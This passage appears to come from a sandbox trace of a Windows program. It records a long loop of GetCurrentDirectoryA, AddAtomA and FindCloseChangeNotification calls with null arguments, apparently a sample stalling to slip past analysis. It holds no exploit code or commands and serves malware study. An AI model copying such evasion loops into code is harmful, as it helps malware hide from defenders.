nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.336] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.336] AddAtomA (lpString=0x0) returned 0x0 [0048.336] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.339] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.339] AddAtomA (lpString=0x0) returned 0x0 [0048.339] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.339] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.339] AddAtomA (lpString=0x0) returned 0x0 [0048.339] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.340] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.340] AddAtomA (lpString=0x0) returned 0x0 [0048.340] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.341] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.341] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.341] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.342] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.342] AddAtomA (lpString=0x0) returned 0x0 [0048.342] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.343] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.343] AddAtomA (lpString=0x0) returned 0x0 [0048.343] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.344] AddAtomA (lpString=0x0) returned 0x0 [0048.344] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.344] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.345] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.345] AddAtomA (lpString=0x0) returned 0x0 [0048.345] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.346] AddAtomA (lpString=0x0) returned 0x0 [0048.346] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.346] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.347] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] 